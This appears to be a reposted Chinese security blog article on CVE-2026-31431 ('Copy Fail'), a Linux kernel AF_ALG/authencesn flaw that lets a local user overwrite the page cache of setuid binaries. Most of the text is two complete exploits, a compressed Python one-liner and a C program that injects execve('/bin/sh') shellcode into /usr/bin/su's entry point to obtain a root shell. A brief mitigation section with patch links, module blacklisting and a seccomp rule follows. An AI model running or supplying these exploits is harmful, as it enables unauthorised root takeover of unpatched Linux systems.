过年了过年了,CVE-2026-31431CopyFail一键提权

admin 2026-05-01 06:00:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了Linux内核CVE-2026-31431漏洞,该漏洞源于authencesn加密模板与algifaead模块组合中AFALG套接字的AEAD解密路径存在边界写入缺陷,导致攻击者可通过篡改页缓存实现本地提权。关键发现包括漏洞无需竞争条件即可持久化覆盖setuid程序,并提供Python与C语言两种完整利用代码。可操作建议是及时修补内核以消除安全隐患。 综合评分: 91 文章分类: 漏洞分析,二进制安全,红队,内网渗透,应急响应


cover_image

过年了过年了,CVE-2026-31431 Copy Fail 一键提权

Secu的矛与盾 Secu的矛与盾

Secu的矛与盾

2026年4月30日 11:20 湖南

在小说阅读器读本章

去阅读

漏洞详情:

在 Linux 内核的 authencesn 加密模板与 algif_aead 模块的组合实现中,由于 AF_ALG 套接字的 AEAD 解密路径在 2017 年引入了一个就地(in-place)操作优化(提交 72548b093ee3),将 splice() 传递过来的目标文件页缓存页面直接链入可写的输出散列表(scatterlist)。而 authencesn 算法在实现 IPsec 扩展序列号(ESN)支持时,为了重排认证数据中的序列号字节,会在解密过程中将接收缓冲区偏移 assoclen + cryptlen 位置作为临时存储空间写入 4 字节数据。当 AF_ALG 通过 recvmsg() 触发解密操作时,该写入会跨越接收缓冲区边界,直接覆盖链在后面的页缓存页面,从而实现对任意已打开的可读文件的页缓存进行受控的 4 字节篡改,最终导致本地低权限攻击者可通过篡改系统上任意可读文件(如 /usr/bin/su 等 setuid 程序)的页缓存内容,无需竞争条件或重试即可直接获得 root 权限,且该写入不会触发磁盘脏页回写,可实现持久化提权等危害

py:

#!/usr/bin/env python3import&nbsp;os as g,zlib,socket as sdef&nbsp;d(x):return bytes.fromhex(x)def&nbsp;c(f,t,c):&nbsp;a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&nbsp;try:u.recv(8+t)&nbsp;except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

C版:

gcc -O2 -Wall -o copyfail exploit.c

#define&nbsp;_GNU_SOURCE#include&nbsp;<stdio.h>#include&nbsp;<stdlib.h>#include&nbsp;<string.h>#include&nbsp;<unistd.h>#include&nbsp;<fcntl.h>#include&nbsp;<errno.h>#include&nbsp;<sys/socket.h>#include&nbsp;<sys/stat.h>#include&nbsp;<elf.h>#include&nbsp;<linux/if_alg.h>
#ifndef&nbsp;AF_ALG#define&nbsp;AF_ALG 38#endif#ifndef&nbsp;SOL_ALG#define&nbsp;SOL_ALG 279#endif#ifndef&nbsp;ALG_SET_KEY#define&nbsp;ALG_SET_KEY 1#endif#ifndef&nbsp;ALG_SET_AEAD_AUTHSIZE#define&nbsp;ALG_SET_AEAD_AUTHSIZE 5#endif#ifndef&nbsp;ALG_SET_IV#define&nbsp;ALG_SET_IV 2#endif#ifndef&nbsp;ALG_SET_OP#define&nbsp;ALG_SET_OP 3#endif#ifndef&nbsp;ALG_SET_AEAD_ASSOCLEN#define&nbsp;ALG_SET_AEAD_ASSOCLEN 4#endif
#define&nbsp;AUTHSIZE &nbsp; &nbsp;4 &nbsp; &nbsp;#define&nbsp;IVSIZE &nbsp; &nbsp; &nbsp;16 &nbsp;&nbsp;#define&nbsp;BLOCKSIZE &nbsp; 16 &nbsp;&nbsp;#define&nbsp;ASSOCLEN &nbsp; &nbsp;8 &nbsp; &nbsp;#define&nbsp;SPLICE_CT &nbsp; BLOCKSIZE#define&nbsp;SPLICE_LEN &nbsp;(AUTHSIZE + SPLICE_CT)
static&nbsp;const&nbsp;unsigned&nbsp;char&nbsp;shellcode[] = {&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xff, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;0xb8,&nbsp;0x69,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x05, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xf6, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xd2, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0x48,&nbsp;0xbf,&nbsp;0x2f,&nbsp;0x62,&nbsp;0x69,&nbsp;0x6e, &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;0x2f,&nbsp;0x73,&nbsp;0x68,&nbsp;0x00,&nbsp; &nbsp;&nbsp;0x57, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x89,&nbsp;0xe7, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0xb8,&nbsp;0x3b,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x05, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;};
static&nbsp;uint64_t&nbsp;elf_entry_file_offset(int&nbsp;fd)&nbsp;{&nbsp; &nbsp; Elf64_Ehdr ehdr;&nbsp; &nbsp; Elf64_Phdr phdr;
&nbsp; &nbsp;&nbsp;pread(fd, &ehdr,&nbsp;sizeof(ehdr),&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(memcmp(ehdr.e_ident, ELFMAG, SELFMAG) !=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] Not an ELF file\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;(ehdr.e_ident[EI_CLASS] != ELFCLASS64) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] Not a 64-bit ELF\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;entry_vaddr = ehdr.e_entry;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < ehdr.e_phnum; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pread(fd, &phdr,&nbsp;sizeof(phdr), ehdr.e_phoff + i * ehdr.e_phentsize);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(phdr.p_type != PT_LOAD)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(entry_vaddr >= phdr.p_vaddr &&&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; entry_vaddr < phdr.p_vaddr + phdr.p_memsz) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;entry_vaddr - phdr.p_vaddr + phdr.p_offset;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] Could not resolve entry point to file offset\n");&nbsp; &nbsp;&nbsp;exit(1);}
static&nbsp;int&nbsp;setup_alg_socket(void)&nbsp;{&nbsp; &nbsp;&nbsp;int&nbsp;alg_fd, req_fd;&nbsp; &nbsp;&nbsp;struct&nbsp;sockaddr_alg&nbsp;sa = {&nbsp; &nbsp; &nbsp; &nbsp; .salg_family = AF_ALG,&nbsp; &nbsp; &nbsp; &nbsp; .salg_type &nbsp; =&nbsp;"aead",&nbsp; &nbsp; &nbsp; &nbsp; .salg_name &nbsp; =&nbsp;"authencesn(hmac(sha256),cbc(aes))",&nbsp; &nbsp; };
&nbsp; &nbsp; alg_fd =&nbsp;socket(AF_ALG, SOCK_SEQPACKET,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(alg_fd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] socket(AF_ALG)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;" &nbsp; &nbsp;Hint: AF_ALG may be disabled. Try: modprobe algif_aead\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(bind(alg_fd, (struct&nbsp;sockaddr *)&sa,&nbsp;sizeof(sa)) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] bind(authencesn)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;key[] = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x08,&nbsp;0x00,&nbsp;0x01,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x10,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp; &nbsp; };
&nbsp; &nbsp;&nbsp;if&nbsp;(setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key,&nbsp;sizeof(key)) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] setsockopt(KEY)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NULL, AUTHSIZE) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] setsockopt(AUTHSIZE)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp; req_fd =&nbsp;accept(alg_fd,&nbsp;NULL,&nbsp;NULL);&nbsp; &nbsp;&nbsp;if&nbsp;(req_fd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] accept()");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;close(alg_fd);&nbsp; &nbsp;&nbsp;return&nbsp;req_fd;}static&nbsp;int&nbsp;page_cache_write4(int&nbsp;req_fd,&nbsp;int&nbsp;target_fd,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;uint64_t&nbsp;where,&nbsp;uint32_t&nbsp;what) {&nbsp; &nbsp;&nbsp;int&nbsp;pipefd[2];&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;aad[ASSOCLEN];&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;iv[IVSIZE];&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;rxbuf[65536];&nbsp; &nbsp;&nbsp;ssize_t&nbsp;ret;
&nbsp; &nbsp;&nbsp;if&nbsp;(pipe(pipefd) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] pipe");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;memset(aad,&nbsp;0x41,&nbsp;4);&nbsp; &nbsp;&nbsp;memcpy(aad +&nbsp;4, &what,&nbsp;4);
&nbsp; &nbsp;&nbsp;memset(iv,&nbsp;0, IVSIZE);
&nbsp; &nbsp;&nbsp;struct&nbsp;msghdr&nbsp;msg = {};&nbsp; &nbsp;&nbsp;struct&nbsp;iovec&nbsp;iov = { .iov_base = aad, .iov_len = ASSOCLEN };
&nbsp; &nbsp;&nbsp;char&nbsp;cbuf[CMSG_SPACE(4) +&nbsp;CMSG_SPACE(4&nbsp;+ IVSIZE) +&nbsp;CMSG_SPACE(4)];&nbsp; &nbsp;&nbsp;memset(cbuf,&nbsp;0,&nbsp;sizeof(cbuf));
&nbsp; &nbsp; msg.msg_iov = &iov;&nbsp; &nbsp; msg.msg_iovlen =&nbsp;1;&nbsp; &nbsp; msg.msg_control = cbuf;&nbsp; &nbsp; msg.msg_controllen =&nbsp;sizeof(cbuf);&nbsp; &nbsp; msg.msg_flags =&nbsp;0;
&nbsp; &nbsp;&nbsp;struct&nbsp;cmsghdr&nbsp;*cmsg =&nbsp;CMSG_FIRSTHDR(&msg);&nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;&nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_OP;&nbsp; &nbsp; cmsg->cmsg_len =&nbsp;CMSG_LEN(4);&nbsp; &nbsp; *(uint32_t&nbsp;*)CMSG_DATA(cmsg) =&nbsp;0;
&nbsp; &nbsp; cmsg =&nbsp;CMSG_NXTHDR(&msg, cmsg);&nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;&nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_IV;&nbsp; &nbsp; cmsg->cmsg_len =&nbsp;CMSG_LEN(4&nbsp;+ IVSIZE);&nbsp; &nbsp;&nbsp;struct&nbsp;af_alg_iv&nbsp;*alg_iv = (void&nbsp;*)CMSG_DATA(cmsg);&nbsp; &nbsp; alg_iv->ivlen = IVSIZE;&nbsp; &nbsp;&nbsp;memset(alg_iv->iv,&nbsp;0, IVSIZE);
&nbsp; &nbsp; cmsg =&nbsp;CMSG_NXTHDR(&msg, cmsg);&nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;&nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;&nbsp; &nbsp; cmsg->cmsg_len =&nbsp;CMSG_LEN(4);&nbsp; &nbsp; *(uint32_t&nbsp;*)CMSG_DATA(cmsg) = ASSOCLEN;
&nbsp; &nbsp; ret =&nbsp;sendmsg(req_fd, &msg, MSG_MORE);&nbsp; &nbsp;&nbsp;if&nbsp;(ret <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] sendmsg(AAD)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp;close(pipefd[1]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;size_t&nbsp;splice_len = where +&nbsp;4;&nbsp; &nbsp;&nbsp;loff_t&nbsp;splice_off =&nbsp;0;
&nbsp; &nbsp; ret =&nbsp;splice(target_fd, &splice_off, pipefd[1],&nbsp;NULL, splice_len,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(ret != (ssize_t)splice_len) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] splice(file→pipe)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp;close(pipefd[1]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }
&nbsp; &nbsp; ret =&nbsp;splice(pipefd[0],&nbsp;NULL, req_fd,&nbsp;NULL, splice_len,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(ret != (ssize_t)splice_len) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] splice(pipe→alg)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp;close(pipefd[1]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp; &nbsp;&nbsp;close(pipefd[1]);
&nbsp; &nbsp; ret =&nbsp;recv(req_fd, rxbuf, ASSOCLEN + where,&nbsp;0);&nbsp; &nbsp;&nbsp;return&nbsp;0;}
int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;**argv)&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;char&nbsp;*target =&nbsp;"/usr/bin/su";&nbsp; &nbsp;&nbsp;if&nbsp;(argc >&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; target = argv[1];
&nbsp; &nbsp;&nbsp;printf("[*] CVE-2026-31431 Copy Fail - Local Privilege Escalation\n");&nbsp; &nbsp;&nbsp;printf("[*] Target: %s\n", target);
&nbsp; &nbsp;&nbsp;struct&nbsp;stat&nbsp;st;&nbsp; &nbsp;&nbsp;if&nbsp;(stat(target, &st) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] stat(target)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;(!(st.st_mode & S_ISUID) || st.st_uid !=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] %s is not setuid root\n", target);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;int&nbsp;target_fd =&nbsp;open(target, O_RDONLY);&nbsp; &nbsp;&nbsp;if&nbsp;(target_fd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("[-] open(target)");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;char&nbsp;dummy[4096];&nbsp; &nbsp;&nbsp;while&nbsp;(read(target_fd, dummy,&nbsp;sizeof(dummy)) >&nbsp;0);&nbsp; &nbsp;&nbsp;lseek(target_fd,&nbsp;0, SEEK_SET);
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;entry_offset =&nbsp;elf_entry_file_offset(target_fd);&nbsp; &nbsp;&nbsp;printf("[*] Entry point file offset: 0x%lx\n", (unsigned&nbsp;long)entry_offset);
&nbsp; &nbsp;&nbsp;if&nbsp;(entry_offset <&nbsp;16) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] Entry point too close to file start\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;int&nbsp;req_fd =&nbsp;setup_alg_socket();&nbsp; &nbsp;&nbsp;printf("[+] AF_ALG socket ready (authencesn + hmac-sha256 + cbc-aes)\n");
&nbsp; &nbsp;&nbsp;size_t&nbsp;sc_len =&nbsp;sizeof(shellcode);&nbsp; &nbsp;&nbsp;size_t&nbsp;sc_padded = (sc_len +&nbsp;3) & ~3;&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;sc_buf[256];&nbsp; &nbsp;&nbsp;memset(sc_buf,&nbsp;0x90,&nbsp;sizeof(sc_buf));&nbsp;&nbsp; &nbsp;&nbsp;memcpy(sc_buf, shellcode, sc_len);
&nbsp; &nbsp;&nbsp;printf("[*] Injecting %zu bytes of shellcode (%zu writes)\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sc_len, sc_padded /&nbsp;4);
&nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; i < sc_padded; i +=&nbsp;4) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;chunk;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(&chunk, sc_buf + i,&nbsp;4);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(req_fd);&nbsp; &nbsp; &nbsp; &nbsp; req_fd =&nbsp;setup_alg_socket();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;rc =&nbsp;page_cache_write4(req_fd, target_fd,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;entry_offset + i, chunk);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(rc <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] Write failed at offset 0x%lx\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (unsigned&nbsp;long)(entry_offset + i));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Wrote 4 bytes at offset 0x%lx (chunk %zu/%zu)\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(unsigned&nbsp;long)(entry_offset + i),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;i /&nbsp;4&nbsp;+&nbsp;1, sc_padded /&nbsp;4);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;close(req_fd);&nbsp; &nbsp;&nbsp;close(target_fd);
&nbsp; &nbsp;&nbsp;printf("[+] Page cache corrupted. Executing %s...\n", target);&nbsp; &nbsp;&nbsp;printf("[*] You should get a root shell:\n\n");
&nbsp; &nbsp;&nbsp;execl(target, target,&nbsp;NULL);&nbsp; &nbsp;&nbsp;perror("[-] execl");&nbsp; &nbsp;&nbsp;return&nbsp;1;}

修复建议

  1. 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本

https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

  1. 针对 Ubuntu、Red Hat Enterprise Linux 等用户,官方暂未发布安全更新,请及时关注官方安全公告

https://ubuntu.com/security/CVE-2026-31431

https://access.redhat.com/security/cve/cve-2026-31431

  1. 缓解措施:

禁止模块加载

echo “blacklist algif_aead”|sudo tee /etc/modprobe.d/blacklist-algif_aead.conf

卸载已加载模块

rmmod algif_aead 2>/dev/null || true

验证

lsmod | grep algif_aead

4. 容器环境加固

通过 seccomp 禁止 AF_ALG socket 创建(family=38):

“syscalls”: [{  “names”: [“socket”],  “action”: “SCMP_ACT_ERRNO”,  “args”: [{“index”: 0, “value”: 38, “op”: “SCMP_CMP_EQ”}]}]

【备注】:建议您在升级前做好数据备份工作,避免出现意外

参考:https://cloud.tencent.com.cn/announce/detail/2277


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Secu的矛与盾 Secu的矛与盾 Secu的矛与盾《过年了过年了,CVE-2026-31431 Copy Fail 一键提权》

评论:0   参与:  0